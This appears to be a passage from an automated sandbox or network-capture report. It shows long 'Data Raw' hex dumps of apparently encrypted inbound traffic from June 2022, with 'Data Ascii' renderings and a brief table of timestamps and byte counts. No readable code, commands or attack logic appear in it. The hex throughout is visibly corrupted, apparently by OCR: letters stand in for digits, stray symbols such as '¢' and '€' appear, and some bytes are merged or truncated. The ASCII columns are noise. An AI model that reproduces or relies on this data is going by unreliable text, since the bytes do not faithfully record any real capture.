16 4f 95 f6 bc el Ob 74 fa 92 21 63 ad 8b be a4 90 c4 0a 81 cb 7d c2 29 e7 cf Of de eb b2 1f e6 88 23 c1 27 38 65 f4 69 96
af 96 5¢ Ob 34 96 65 46 64 f0 df f7 cO 21 87 63 3b f9 ae 6¢ Ob 11 15 b1l f6 ff 2f 61 32 d4 06 c8 70 91 f8 20 1b c1 87 61 ef
3a 3f 3d eb 86 93 8f f3 78 9a 2¢ 69 b3 3e 2f f2 1a 50 af 90 ee a3 27 e8 Oc c5 a0 ac be 39 14 el a3 59 72 5c be 35 ad 56
3d ca 94 af 45 52 75 17 37 5c 6d 44 3c 8d 8c 48 d5 b0 af €6 85 fb 78 d4 8b 79 a7 d5 2f dd ab 3f 9 45 7b 87 a0 e6 7c d9
92 5a d0 5f 30 42 da 69 60 da €3 06 2d 11 e4 3e 82

Data Ascii: B2eJC$g.d_BVWgD<4_%17L(Jv & AAOt!c})#8ei\deFd!c;l/a2p a:?=x,i>/P'9Y\5V=ERu7\mD<Hxy/?E{|Z_0Bi ->
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Timestamp transferred Direction
2022-06-23 16:19:25 UTC 531 IN
2022-06-23 16:19:25 UTC 539 IN
2022-06-23 16:19:25 UTC 547 IN
2022-06-23 16:19:25 UTC 554 IN
2022-06-23 16:19:25 UTC 562 IN
2022-06-23 16:19:25 UTC 570 IN
2022-06-23 16:19:25 UTC 578 IN
2022-06-23 16:19:25 UTC 586 IN
2022-06-23 16:19:25 UTC 594 IN
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Data

Data Raw: 36 Oa fd 86 1f 53 ad bb 49 60 d2 26 bb 5a a4 ee b3 ce 29 9c ee f1 Oe a6 2a b4 70 e6 24 1c d0 28 3a d7 12 34
a2 51 bd df 8c cd 3b ca 19 69 7a 04 02 1d 47 bb c1 94 2d c3 e7 a7 d7 bc e9 26 9f 9c e7 45 fa 96 b1l 18 99 3a f8 27 2f 82
a9 4a a7 08 31 ec 28 82 19 6¢ 99 b3 5¢c 7f 94 16 40 de 51 2a al 7a 4a ae 77 13 8a 20 23 b9 0b 26 b1 9f be 2a 29 19 dd
d3 e099 90 76 85 1a 9f da c1 4f a2 eb ce 07 68 89 34 8c 16 43 5e 20 51 0a bb 99 66 3f 75 4e 1d ae e3 38 5f 6d 27 6e e
99 d8 e5 50 b5 4c 2e f7 72 d2 b5 2b 9f Oc 5f 88 eb 7e de 77 a4 87 7f e5 43 e5 45 2f ae 8e 84 de 2d bf 1f 2¢ 99 c1 69 9f 30
99 91 ee 24 c0 65 47 fe 68 62 da 9e 7e 2d c1 c6 90 5a 9f 1d 10 b2 6f de 69 89 8f €3 90 Oa 7f 9e 4e af f9 44 69 6a 41 af e3
97 2a 8¢ 3f 17 83 dd 65 11 ba 1b 97 42 5f 50 7e 10 c8

Data Ascii: 6SI'&2)*p$(:4Q;izG-&E:'/I1(N@Q*zIw #&*)vOh4C” Qf2uN8_m'nPL.r+_~wCE/-,i0$eGhb~-ZoiNDijA*?eB_P~

Data Raw: 8c 52 83 Oe a6 21 2d a5 58 c7 9a 65 f3 1c 2f a9 42 8f 21 f5 b5 21 7f 3e 3b 66 a4 51 fb 08 4f 60 1b d0 05 cf 05
c8 b6 99 4c 53 dc 21 4a d8 5d 61 0d 85 c6 94 ¢6 9d 7c¢ 56 d2 15 b9 37 83 91 79 9 8f 4d 6e 40 ca bc 0f ¢3 5b 6e 08 a8 d4
37 fc 3a 44 f9 c0 cb Oe 7f 09 be c7 74 de 86 ef 68 a4 6f 78 fc 77 09 72 1a b8 cf 6d d5 ac b2 9c 63 d5 52 Oe ba 9b 74 65 dd
82 9fa9 a9 bd 7e 25 Oe 09 da b9 4d be d3 df df 4d 45 01 ea a7 80 d8 1a f1 5b b1 c3 0a 12 d7 e7 ad cc 72 3b 28 fe 26 03
ae d8 ef d1 4b 14 16 36 ff 1f 7f 3e c2 94 69 65 f4 bf 20 5e d6 5d Oc 68 16 4e 5a 60 c7 5b fe 5a 73 cb cb 1b 0d 05 ac 0d bl
0f a7 2d bd 5a 62 48 94 88 57 49 30 7f c1 76 34 a6 95 c6 9b 73 9d 6a 96 ea 25 32 97 89 1b 33 e7 7d cc de 55 23 42 15
93 16 64 72 0b 57 dc 05 e3 98 f2 b1 8c 8e el ae 31

Data Ascii: RI-Xe/B!!>;fQO’LS\J]a|V7yMn@[n7:DthoxwrmcRte~%MME[r;(&K6>ie "hNZ'[Zs-ZbHWI0v4sj%23}U#BdrW1

Data Raw: b9 56 fd 8a d1 00 fd 88 aa d8 13 a4 90 5a 9e 90 0d 69 12 f4 f2 ae 23 2b d9 c7 72 4c 67 45 e2 cd ea 43 e4 Oe
57 b7 63 0f dc f8 Oc dO 8 19 fd 1a ea c9 Oa 5e 73 df 7c 14 b2 9e 2f d9 68 75 05 6f 31 al 58 e6 a5 ed fb 39 51 ed a5 e7 81
al 14 f3 09 bd 31 95 b4 5e 27 f5 6a df 00 a0 35 1e 23 33 24 85 cb b2 67 89 cf 82 74 48 fb c6 ee eb de b2 7c 73 98 54 84
ef ea el 95 6b 60 90 1e 9f cc 63 53 b9 76 Of 2f e3 e0 a5 97 6¢ 1f 72 15 d3 cc 31 66 8c cb 7e a5 e6 7f da de 33 63 Oc b9
0Oa fO 83 4b 47 fc 6a 63 62 ff 78 d5 b0 ff 54 99 18 75 5b 99 3c 78 a5 3f el 84 d3 cd b1 3d bl 6¢c 06 3d 83 5b b2 b6 c8 a8
6e 28 43 bd ae 7a cd 00 6b 92 1d Oc 8d 58 29 54 42 7c 2c 22 f1 7c 5a 53 db f9 30 5¢ ec 6b dc ed 17 b0 fd 76 c7 5a 47 a3
ce c1 96 85 64 72 47 af 03 49 al fc 70 ee 9d cb a0 f7

Data Ascii: VZi#+rLgECWc"s|/huo1X9Q17j5#3%gtH|s Tk cSv/Ir1f~3cKGjchbxTu[<x?=I=[n(CzkX)TB|,"|ZS0\kvZGdrGIp

Data Raw: 62 5d 67 9d d2 7f d5 13 e4 55 89 71 a5 bf 14 7f 9b aa 6b 53 b7 63 44 9d e9 8b 42 9e ee bf a6 1b 8c 60 4c b0
0f 84 8e 94 Oc 57 75 50 80 dd 35 11 b3 c8 6b cf 4b 62 7d 3c c2 7d 38 f7 cb b1 ad 94 6a 62 fd 08 6a 89 3b 6 cO 9f b4 5f
55 f1 c1 3f 7f 67 f4 e6 a9 fd 4b 6 65 b6 a8 05 5f 7d 47 f4 e7 c9 41 4f 5¢ €3 95 2d 75 11 52 a0 15 73 69 3a aa f1 d6 43 9¢
5b ba b7 e2 be 8a 7b 4c 94 25 52 fa 27 80 bd 61 f5 c0 68 c2 1d 35 dd 13 df a8 e4 4f 21 39 21 7f d6 d3 64 de fb ce e9 dc
¢4 19 40 33 cc 85 b6 d3 86 87 c7 Ob 8c a7 aa 2e ba bf 83 52 ae 69 e3 a7 5b 53 d6 ca 27 01 a3 20 cf ¢6 5f 9f bl 51 d5 83
14 85 9f 96 56 2a d1 7a 89 43 18 24 cc 77 87 dc 12 b5 98 df 79 5d 11 08 75 6f b2 00 7a ba c5 39 85 99 18 23 98 ae 9b fa
47 4b 46 69 3b b3 1f 1c 79 93 9e al 84 44 f1 48 3f 51

Data Ascii: b]gugkScDB’LWuP5kKb}<}8jbj;_U?gKe }GAO\-uRsi:C[{L%R'ah50!9!d@3.Ri[S' _QV*zC$wy]uoz9#GKFi
;yDH?Q

Data Raw: 14 3a 9a 29 Ob 7e 90 c5 f0 69 d8 5¢ 04 62 08 ae ae ch 67 d6 74 4c 5d 64 a7 63 43 e2 ec fc 18 52 aa e8 b3 83
da 08 81 7b 31 3f b8 1d Ob 44 16 a3 28 2b 57 87 c0 a2 e6 7f 7d 07 4f 99 8b 50 cf 6e 97 2d 43 €9 e7 3b 61 Oc ba 6c 48 fO
c0 89 b4 74 cf 67 f2 24 2e €9 d4 bb 95 ae 2d 00 ca 48 da 66 Oc fd 7f 4a 6f f1 84 48 b5 44 d4 ca 81 b8 eb e2 5f 21 63 0d
09 16 39 8d c1 6d f8 b5 7f 46 a2 06 80 46 9d 4c 30 d8 df 93 bf 10 32 32 1b c5 96 85 92 3d 26 2f aa al 5b 78 dc f8 45 2e
96 cc cb fc af cd a7 aa 94 d4 69 af 13 c0 e2 44 1e aa d2 bf 76 32 9f ed 9e c6 44 af d3 10 1b al bb 59 07 f2 e1 35 50 b9 7a
d4 bf 54 e5 cd 86 64 b0 5¢c a2 41 7d 8f 39 cd 66 47 68 99 ea 2b ab b9 6e d3 42 5e el Ob a9 40 7d fd 53 67 87 b0 4a a8 c2
63 33 4c 63 28 cf 97 aa 43 7c a6 45 af 59 7b ee f9 51

Data Ascii: :)~i\bgtL]dcCR{1?D(+W}OPn-C;alHtg$.-HfJoHD_!cO9mFFL022=&/[xE.iDv2DY5PzTd\A}9fGh+nB "@}SgJc
3Lc(CIEY{Q

Data Raw: 41 fb 4e b2 bf ff 9d a3 52 46 fa c4 5b 7d 78 81 5e ff d1 ae 38 83 84 de d8 ac 5d 30 8f b8 27 d8 05 12 ca 0d c9
76 b6 e4 ed 27 de 5e €5 Oc c8 ed 36 63 f9 5 1a a9 0d fd 29 30 4f 5b 91 d8 7f d9 af 2e 0 50 54 1e 8d 67 bl f0 13 d2 49
80 32 6¢ 68 12 47 d1 a3 98 9e 36 53 6 78 98 d3 dc 5b 29 92 b9 76 7a 84 92 10 d0 53 21 9f a3 0 c1 dd 3a 8a e2 fe d9
eb 6 59 98 13 4c 0 7a f 85 17 99 1d 39 15 c7 b1 62 ed 4b 96 37 42 bf 76 f5 a5 ed 6e b3 95 97 4d 6d 5f d7 19 7b 84 4d be
be 12 6f 75 5d 60 82 €5 aa Oe 43 {7 5e ca a4 39 ¢8 45 6¢ 4c b4 d1 4b c3 58 9c 9d a6 6¢ 82 3c ¢4 18 90 1a 30 66 22 b9 3¢
4511 a0 22 64 7b 9c 7e dc 9 9f 36 1d 99 ed fd 90 dd f9 7c 1b 4a f6 31 a8 7c 52 76 €0 1b 7c 09 5a 38 cd Oc 67 f5 2 36 ae
98 34 17 03 fd 32 64 ed 81 84 ea 8c 5¢ e7 5f €5 92

Data Ascii: ANRF[}x*8]0'v'A6¢")00[.PTgI2IhG6SX[)vzS!:0YLz9bK 7BvnMm_{Mou] CrIEILKXI<Of'<E"d{~6|J1|Rv|
789,642d\_

Data Raw: 24 70 fa 32 2b 70 16 82 a8 91 66 09 b5 23 15 8e ef 79 cb 17 4b 7e d3 58 23 d0 7c dd f9 7b a4 ac 3b 51 cf 32
cl Oa fa 98 53 c2 d4 40 e0 4f 27 b2 84 42 ea 09 aa 81 13 87 d6 dO d4 e0 99 63 a2 a0 4e 19 le a7 9c ea 10 8¢ fd 7b 7d 78
81 37 6¢ 1a c3 9d f9 df a0 ca al 5a €7 00 a6 99 25 6f 6¢ 23 3d 12 8¢ f9 02 a1 00 71 81 04 fa e3 c2 1d 41 c7 22 82 84 22
0Ob 7e 10 fe b9 21 1c 60 a4 81 9f 30 Of e7 6¢ c6 01 c1 09 79 40 ba 90 19 3d 20 c6 04 ee a8 e4 9d c7 df a5 aa 95 c6 d0 b6
cb f5 fe 73 ee bb b3 56 4d 94 cc 1a 7e 9d 74 b3 3d 82 b0 78 8a 67 cf 22 43 48 4d e7 07 3c 9c 10 58 fa 46 b2 64 e7 15 3f
db 00 ee 7f cc f0 51 a0 54 97 ed b3 9a c6 f8 db ec 70 47 fc 1f c7 27 4a 57 d4 db 3e fc 38 bc €6 eb 84 b0 19 30 Oe 4e 93
d5 81 cc c9 95 00 44 46 de 8e 68 14 1e 9a 1b 41 ef a3 b2

Data Ascii: $p2+pfityK~X#/{;Q2S@O'BcN{}x712%0l#=qA™'~I"0ly@= sVM~t=xg"CHM<XFd?QTpG'JW>80NDFhA

Data Raw: a2 61 c0 7a 87 ac aa 77 69 73 86 05 46 e9 6a 66 27 4c 10 77 c0 75 80 42 7b 65 16 42 f8 3c c9 7f 4f 42 43 Oe
2585 78 91 5d 42 f9 48 2e 29 e2 af 3b 3¢ 60 eb 41 fc 52 d8 da cd Oe b8 02 90 bl 02 5a 41 f2 c1 47 43 ac 9e f0 01 ae 32
87 ba 93 6a 55 ce dc 3b d1 60 c9 13 28 8f 8e 39 35 ba 5f 30 d5 70 b8 b5 ca 09 ed 85 ed 6e fb 70 f5 8d 88 6d 85 99 8e 69
5f e0 76 6¢ db ed 1e d6 6f 0d e3 c9 85 a3 8d 7f 2a ba 4c 28 1e 13 db 64 fe 94 98 36 88 cb 1b 2d 7d dc d7 6b ed 49 20 6b
fO 1e 14 81 89 5b c2 51 1b bf 7 2a 4b 40 72 96 41 9e el 24 c0 c7 42 a8 86 2c 5a fa 3d 2 c6 4f 36 8e dc 4d 2e 80 e7 3c
ac 7¢ 63 a6 90 68 de 8d 70 01 32 c0 4b b2 71 8f €5 9b d1 3d ee 1a c4 1f 7c c2 88 e4 c7 8f f4 93 eb 74 57 f0 93 c0 9f c8 2e
85 06 ba 4a 76 e3 bl de c9 7a 37 98 cf c9 ee Of c8 b9

Data Ascii: azwisFjfLwuB{eB<OBC%Xx]|BH.);<’ARZAGC2jU; (95_0pnpmi_vlo*L(d6-}kl kK[Q*K@rA$B,Z=06M.<|chp2
Kg=[tW.Jvz7

Data Raw: 39 8f c6 f1 9e a0 1a 82 b4 27 c7 3c bf 28 4d a0 16 d1 c1 d1 a8 9a €9 16 04 1b 64 1c a8 57 2b b6 1f 55 bd ef d7
0d ad 10 5d c6 Oe da 37 64 ce 42 a2 77 92 e9 a4 52 1b 84 3e 46 f9 1a 6a 75 27 fc 96 ac 34 8f 8¢c 1c 47 9a 61 88 d2 b9 47
c7 ad cf a6 52 cc f8 fa 6e 07 86 f2 be Ob 91 8a 7c 43 76 68 Ob fa 8b 86 dc 1a 5¢ 7d b5 76 a3 16 65 af a8 fa f0 18 66 2f ba
22 be 36 5d f3 1a 3b 49 04 7c Oa 7d a9 d5 18 d1 a3 6f ca 5f 6f 20 2a c2 d1 94 56 ba 36 d3 d9 54 57 ae e4 Oe 8e 89 d9 aa
ad 84 f8 39 1e 99 e3 c2 ac fd ce 7d 03 51 b6 77 dO ff 6b 69 €9 ed 7e 36 2b 0d b2 6f cf 54 d7 c8 9e f5 08 1c 61 ea 27 37 f4
4a2c 90 5e ch 1d 89 e7 dd 8¢ f1 91 1d 1e 5f 46 5a f8 e4 f1 d5 ab 65 43 88 16 4c 98 93 83 ¢9 11 1f 7f dc 05 52 ab 8a a4
le ea 94 Oa e2 40 a3 35 5e 5e 6f d8 cd 61 e9 41

Data Ascii: 9'<(MdW+U]7dBwR>Fju'4GaGRn|Cvh\}vef/"6];l[}o_o *V6 TW9}Qwki~6+0Ta'7J,"_FZeCLR@5"0aA
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Data

Data Raw: 19 dd 69 16 96 e2 7f ff e5 f3 fa 80 5b b7 9c 77 47 67 2f 6a f5 Of fe e2 6a 8a Oe 74 ff 8f Ob 6f 58 d1 {7 fd 1e 4f 97
39 ee 47 81 40 03 f0 al ee b5 71 4c 07 91 57 12 Oa 36 ea Oc ae de f6 f0 09 e9 96 88 45 53 78 b7 49 a0 Ob 28 06 le ed 11
31 46 87 95 7a a9 8d 54 f0 fa bb 76 el 12 53 5 3e f9 f4 7f 55 5e 7a ee fe 99 c8 3b e8 85 d9 be 7f fa ac 5e de 9f Oa db af
3a 70 28 a5 c6 2b 12 d7 Oe ac de 86 fb 12 45 8a bd a4 6f 52 b3 15 0a 28 b7 9a 1c 51 €0 09 c4 80 ee 96 ef 18 2a 1b 71 el
782 0d eb bb 15 d5 61 e2 19 f7 63 60 de 59 8e da 99 8b 60 1d a6 51 f5 f1 6e fe 98 80 84 87 b9 94 ee 95 46 c0 3f 52 17
4e 5e Oc 4 2 ¢5 05 ac 3b d3 97 97 Ob d0 d1 8e 4e b1 ac 55 c6 de 58 cc d7 ab 43 22 bb al 08 a6 9c 3a 99 c6 62 19 91 70
15 1e 41 b9 ba 29 39 a2 9f c3 78 77 c6 78 77

Data Ascii: ifwGg/jjtoXO9G@gLW6ESXI(1FzTvS>U"z;N:p(+EoR(Q*gxac"Y QnF?RN”";NUXC":bpA)Ixwxw

Data Raw: 1f 95 48 4f d6 1f 81 bd b7 de c6 1b 14 93 1d de d5 00 aa a9 de c9 09 7a a8 70 9c 9e 81 88 94 c9 8b cf 7e f1
3a b6 a4 d6 d2 46 a2 f9 eb cf b9 08 €9 7d 01 57 df 94 aa 54 a9 15 ae 12 b8 95 b1 69 89 33 58 07 fa fe 07 c6 20 ab f6 32
30 4c €8 93 37 50 de 11 02 a5 ad 66 83 55 72 77 39 53 d8 €8 b3 8d 3c 6a 11 ae 44 29 8d cd ab 76 cb eb 01 5d f4 14 33
a0 51 e8 93 fa f2 24 84 c4 4d 35 45 06 3f 15 b8 bf ab 1b 1b 98 af fc 0d e0 22 47 d6 7f 4e 64 bd c5 31 d6 00 88 4 3c 20 bd
€8 08 df b4 56 31 88 49 41 ff 1f 60 d6 7f ba ce 2a d6 c0 0Of al a3 06 6f 84 ea e7 a3 89 5f 79 a5 9a 75 bb 1a f8 e0 11 cb 3b
el 8f 1c 4d 2e 6e 51 6f 65 ff 20 c5 f5 ed d1 6f 0d 75 d6 ed f5 27 54 8d 25 95 cc d8 db 58 77 a5 b6 a0 1c 25 05 2a 7a fl1 be
84 05 7d 2e 9d ba 33 04 9e a4 fb 6a 22 9d ea 5c 88

Data Ascii: HOzp~:F}WTi3X 20L7PfUrw9S<jD)v]3Q$M5E?"GNd1< V1IA™*0_yu;M.nQoe ou'T%Xw%*z}.3j"\

Data Raw: 05 6d 6¢ dO 60 40 79 ff ce d5 00 12 de 5a fb d4 15 31 3b 66 15 95 1b el 94 75 d9 2e d6 cd 2d fd 97 ce 5c 33
c6 d9 0a 76 5e 67 5b f3 ab 24 81 01 7d a4 51 f8 04 42 91 00 be 77 02 57 9e Of e8 f1 56 36 2f 54 03 {7 7b b5 fb 7a cc 3c
a7 3f 62 70 d1 6a 05 df 42 ee bd 32 6d 55 83 cf f5 d1 10 36 20 d2 54 Ob al 58 c6 6f 07 23 55 3f 12 b6 2d cc 11 8d 54 4d ff
8a 1d 24 72 1f 63 7e 31 79 22 5¢ b5 dd 0f 98 d6 d1 52 fc ¢3 Oc b5 34 be f6 89 04 b1 1d cd 9c 11 ¢4 5a b6 a8 b8 35 aa 42
ee 59 d9 6f 2c 23 ¢6 24 10 b3 65 84 2b 5¢ 23 64 fa 90 23 ad 20 a2 ed f0 31 c2 be 18 5f f5 64 78 35 22 c6 5 16 2c ab 5¢
ab ba 31 00 17 6d 36 b4 36 73 1a ce 1d 82 f7 42 e6 54 7a Ob 7d 3e le f9 55 a2 f0 0a 80 06 34 a0 9c b9 de Oc 48 6a e2 78
ed bc ab 53 1e ec 5b 9d df 9d 4f fc f2 30 e5 ce 61 f5

Data Ascii: mI'@yZ1;fu.-\3vAg[$}QBWWV6/T{z<?bpjB2mU6 TXo#U?-TM$rc~1y"\R4Z5BY o0 #$e+\#d# 1_dx5",\1m66s
BTz}>U4HjxS[O0a

Data Raw: fb 11 e6 c1 6f dO 1d ef 36 f4 00 9f 9e 50 81 1c 67 a3 68 63 fd ff 03 9e a9 6a 21 c8 82 aa ea 44 €3 7b 96 e dd
09 3ac9f2 153307 3c ac c2 9a 3c 7559 28 77 el aa b5 96 c9 c0 2e 07 97 6¢ 69 Oa 63 dd 95 ce bd 7e 30 bl f8 a8 e2 46
3e 43 bc 78 Oe 31 4c 3b 04 41 4b fa 5¢ cd 78 a3 a6 29 c7 a5 3b 02 d0 fO ad f8 4c 19 2e a8 c¢5 99 8b 7b 25 ce 4c 24 5¢ 4b
56 e4 44 54 b0 de 88 e2 ae b4 6d f9 66 65 bl 7 07 00 a3 f1 b3 d3 37 70 2f 63 40 c9 c0 b8 79 2¢c 7d 27 ac ea 30 07 ca 24
5b fO 3f 1d 46 9a 63 2e 5b 4b 3b 57 c¢7 1d 7b 41 8f 89 a5 07 2c 98 bd 84 01 d3 45 1a a6 99 75 a4 8a 4a af f5 6a el 51 d2
97 b0 71 9f 41 4e aa cl 41 a7 3b e7 80 75 a6 6e 23 14 93 e7 24 12 09 70 58 74 29 1a b8 95 1e 9e c4 b4 ef 68 09 d5 a6
4b 0c 83 6d 38 a7 ef al b0 d4 fe 85 15 2d c1 de bf db 5d

Data Ascii: 06Pghcj!D{:3<<uY (w.lic~0F>Cx1L;AK\X);L {%L$\KVDTmfe7p/c@y,}0$[?Fc.[K;W{A,EuJjQqANA;un#$
pXt)hKm8-]

Data Raw: a4 8d b2 b7 5b 20 48 3f fb 03 ad b5 18 32 9e 23 e8 5b 9f 7f db f9 89 a3 28 33 43 da bc a9 6f a3 f9 ef 2a d7 d4
77 74 b4 b3 a9 c2 ab 60 6¢ 4a 8d 84 07 13 d4 09 aa de 15 8e 60 55 a0 a5 30 89 b5 15 43 6b 48 ec 61 92 3d 73 2d ba 4b
9e cb fb 2b be 70 4c be 6f 58 b4 aa f0 8e d3 03 f3 8a 91 f1 ce 55 05 12 70 1c 00 7f bf 2e d9 c5 5¢ bc 08 ea ff 94 a2 b0 68
21 d3 1e 43 ea 91 61 64 1b d2 56 25 74 d4 60 9a 28 40 4d 44 92 df 4d 3d 15 10 c4 09 22 1e fO 1b d8 b7 cb 84 5c 08 {7 8¢
0f 81 8a 39 3b 60 d5 bc 07 db 40 17 fe 4f 44 ¢4 9c 7f Oc 50 Oc 6a 2d d9 c8 33 54 7e 51 el 7c 5d 53 93 12 cf 3c ed 8d dO
22 46 7a 42 58 c3 42 d4 2f 08 96 ce 33 af d0 ed 63 a8 2f Ob 1c 4a d5 39 23 ee 06 c9 a7 11 Oc cO e7 b8 Oe 27 63 dd f4 13
26 be ea 12 36 17 5a eb 57 ff b8 54 bc e2 62 fb 99 f1

Data Ascii: [ H?2#[(3Co*wt'1J"U0CkHa=s-K+pLoXUp.\h!CadV%t (@MDM="\9;" @ODP}-3T~Q|]S<"FzBXB/3c/J9#'c&6ZWTh

Data Raw: 95 10 dc 06 f3 83 3a 3f 4f e2 02 13 42 57 cb fb 1f ac 20 b2 04 4e d6 95 41 fa 94 39 5d 57 af cd de a5 b2 b3 18
189 64 e9 c7 2c 72 c6 e2 2b 36 ac e3 64 47 50 a2 97 f1 3a c8 fa 79 9a 78 0Of 20 25 5e d6 17 12 70 38 d2 17 fc 3d 53 05
68 a9 b2 98 cb 30 {7 54 22 6a b9 ae 59 22 6¢ f4 f6 48 88 06 ac 10 42 9b 20 d7 0d b0 e3 f5 d8 06 6d 00 83 d5 7d de 5a c3
a3 cd 19 03 0f ac ff 38 ¢4 cf 42 5b 4f 2b 19 61 9d 73 2d db 70 19 36 Oc fc 07 97 cf 5a 86 ed 89 ee 8f 9b 4f 37 b2 b9 4b 91
5c 2b 31 77 e4 e1 04 80 47 91 2f 2d 9¢ 16 c6 c9 Ob f3 31 4c 5e fa 8e ed 84 f0 87 a0 01 14 9f Ob 8a cd d3 28 e3 c1 5b 24

94 d7 5e d6 fb 1c d4 84 8f ed 43 b0 c1 1d 90 27 56 Ob b5 42 87 ea 84 97 48 66 cd aa 40 1d 17 52 ba 57 78 6 70 87 ff c9
Oa fe 95 2e 90 4d 5d cf b7 75 Oa da 85 6¢ 8c 4a c7

Data Ascii: :?0BW NA9]Wd,r+6dGP:yx %"p8=ShOT"jY"IHB m}Z8B[O+as-p6Z07K\+1wG/-1L([$"C'VBHf@RWxp.M]ulJ

Data Raw: fc ec 83 36 ef 4b 28 ca 70 df ff ba 9d bc a0 4f aa a6 70 c6 be 66 €9 bf dc aa ef a0 44 f1 d6 d9 a9 b3 85 4b 95 f2
¢4 09 1f b5 d7 f7 22 a6 a5 b1 99 75 74 c9 0f fc b4 9e fe 48 a6 24 7d 28 9f 1b ae 96 a3 87 01 d1 58 77 19 2f c5 1a 6a 6d
1e 52 9c 05 c0 5e a9 0f f6 a3 b8 af Oc 90 e0 70 2f 8¢ f8 79 81 7e 5a f8 4f 6f 21 64 91 d4 88 78 9e 64 5c¢ 1d fb 8d 9b 58 bc
€8 b2 d4 09 a6 2e 6f 28 61 60 78 5¢ 9a f1 df 46 17 cO 94 40 5b 2f 56 c¢7 40 ba 53 b3 74 b0 c6 d6 76 6a 86 df 1d 3f 27 59
99 b4 ¢9 70 ca 79 44 1b 7c d0 42 6f dc 8e 4b 63 80 dd 9d ce f6 06 55 8d c3 84 93 el 4a f2 39 1f 76 c5 19 30 b6 4f cf b7
1c d1 75 6f ch 25 81 8f 01 89 69 44 28 9a 06 8c dd 33 81 5c 72 45 88 89 16 ca a3 d2 80 7b c6 6¢ db 5a 5¢ 18 bd 72 7d al
90 2a 6a df 03 03 e0 23 45 76 a8 75 10 le 33 b6

Data Ascii: 6K(pOpfDK"utH$}(Xw/jmR"p/y~ZOo!dxd\X.o(a X\F@[/V@Stvj?"Y pyD|BoKcUJIvOOu0%iD(3\rE{IZ\r}*j#Evu3

Data Raw: a9 4f 14 c4 44 75 e2 47 e2 5a cd 05 07 52 d1 9a dd 48 58 ab b1 d8 57 53 ac b3 ae f8 db 78 84 92 de 3a db d6
66 4b ed d9 e0 94 3c a2 ¢8 1d 99 67 72 8e c1 45 15 b0 39 0f 96 ac be a5 d4 65 f1 9d 7c a6 fe 05 21 35 2e 67 36 22 b5 39
33a2de 34 de 31 el 3817 aa2c 1c 95 €6 77 d7 Ob 70 78 19 6e 5a ed 7e 4d 2d cc 10 78 ab c4 24 86 €6 6f bb 1c bb 03
3 3f a5 59 cf 2a 7c 3b fb bf 2f 32 89 48 4d 64 7 28 61 80 50 86 22 b4 d6 2f f8 5d e9 10 98 3f e6 eb Oe 85 c4 5¢ bf 9d 7f 8f
02 do 2 af c4 Of bd 79 28 89 ff a6 a4 2e 68 09 9d ff 8e 74 cb 69 6f fb 83 80 a6 30 36 58 cc 7d 6e d4 74 63 1b 9b 8c f5 8b
80 e2 c3 71 6a 0b 99 de ab 87 83 5f f4 96 2b 6f 52 92 ed 9e 42 3c 45 4f 5a 98 de 0d b9 95 Of f6 a8 1f ed 89 23 ad 3a 3f 23
ec 7d 74 4c b4 b7 3d 66 c5 42 d2 9a 64 a3 44 7c

Data Ascii: ODUGZRHXWSx:fK<grE9e|!5.96"93418,wpxnZ~M-x$0?Y*|;/2HMd(aP"/]?\y(.htio06X}ntcqj_+oRB<EOZ#:?
#}tL=fBdD|

Data Raw: d6 f6 28 1c f1 7f cO 43 f1 67 8a 14 f0 57 27 03 c6 42 5¢ eb 3b 61 5d 06 b0 00 74 b9 f4 7b 35 dO 16 2c 92 af Oe
50 2¢ dd d5 9b d8 ab 71 43 76 d4 59 04 26 fa 6a 49 61 c6 c8 eb 6f 50 9b 21 Ob 98 10 58 80 f8 42 fd 4d 17 5f Of 9 62 60
8353 0b 61 02 27 2b 39 43 chb 06 ac al 43 31 7f c3 b0 c3 e4 b6 18 {7 29 16 02 44 94 ab 0d b8 6a 3e 0d 04 a5 15 88 24
66 2f 05 78 19 30 83 85 b2 a6 Oe 1a 19 63 cd 5 9a 4e 1d f3 36 59 b3 5e ee 32 eb 4f 28 26 0f 3d 7f 92 3a 73 11 52 56 9b
07 cf 35 41 41 44 8d b0 62 al aa 09 7c 3e 90 42 42 03 c0 8b 4f 3f a9 e7 1c 1b 77 47 d1 18 b5 fb ac 5d bd 9b 86 ec 29 d5
cc d5 4f f9 96 b3 53 f1 2e b7 56 70 68 07 38 27 31 2b 4c 46 {7 62 ea b1 Oe 00 9b el 3a 20 a8 c6 a6 64 a6 d7 51 98 d1 ea
d6 0d dO da 4d 9e 90 Of ba Oa b5 a2 af 6f dO f1 79 cc 6f

Data Ascii: (CgW'B\;a]t{5,P,qCvY&jlaoP!XBM_b'Sa'+9CC1)Dj>$f/x0cN6Y 20(&=:sRV5AADb|>BBO?wG])OS.Vph8'l
+LFb: dQMoyo
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Data

Data Raw: 8a 9a 3e 30 98 4a af 3e 16 e7 7c ad e2 db fd a3 ba 5d a9 al 71 ef 93 8c 7f 1f 30 4b 1e 4a 01 4e 6b 09 db 5d
51 d4 b2 08 25 fa 1f 4a e2 c1 87 6b ec c1 dc 19 a8 49 0 f4 06 38 39 11 f5 d7 45 f3 bf af 89 2d b7 fa 1a Oc 4c ab 26 3f fd
72 cf 86 08 a4 6f 76 ea 09 d3 bc a8 0d 4 ef f4 6f fb 6e 6f ed cc dc b8 db a9 le 35 8a 6a 33 b4 3c 8f 18 f6 8e 78 88 11 1f
6e clcl 48618803 a9 85 1a 5a fb a0 2c 04 6a 27 35 75 2b 65 8c 52 8a 71 04 3b de fd dc a5 28 b9 ad fc 08 b9 63 c1 5d
74 fa 86 d9 2e Of 3f 53 5e 60 al 7f 27 29 00 61 ce 3b 5f b1 6d 67 79 4e 3a cl db 5f b4 88 b3 bc e3 ff 4f 51 27 24 d3 44 a0
24 9b 5f 12 58 ce c0 e6 8b 7a 9c 4b 82 bc 74 29 b4 1f 99 ad 67 cb c5 fc 65 36 98 8e 05 43 5¢ cc 7d 76 9c 99 2a bb ea ba
e5 08 bb 80 59 91 28 09 61 26 c2 99 40 c3 1c 81

Data Ascii: >0J>[]q0KJINK]Q%JKI89E-L&?rovono5j3<xnHaZ j'5u+eRq;(c]t.?S” ")a;_mgyN:_O0Q'$D$_XzKt)ge6C\}v*Y (a&@

Data Raw: eb 99 5b 31 29 9a a5 ef 81 9d c9 f6 44 ff 66 9c ee 02 ea 06 86 2f 41 a6 7b 77 ce 39 58 1b 7c c9 b2 20 d1 42
57 db 37 2b 0f 28 Oe c2 96 0d 51 Of 11 78 27 01 b6 50 99 01 15 34 22 fb 31 5 6e 78 fO f7 44 bb ee c7 b3 c2 22 72 52 2e
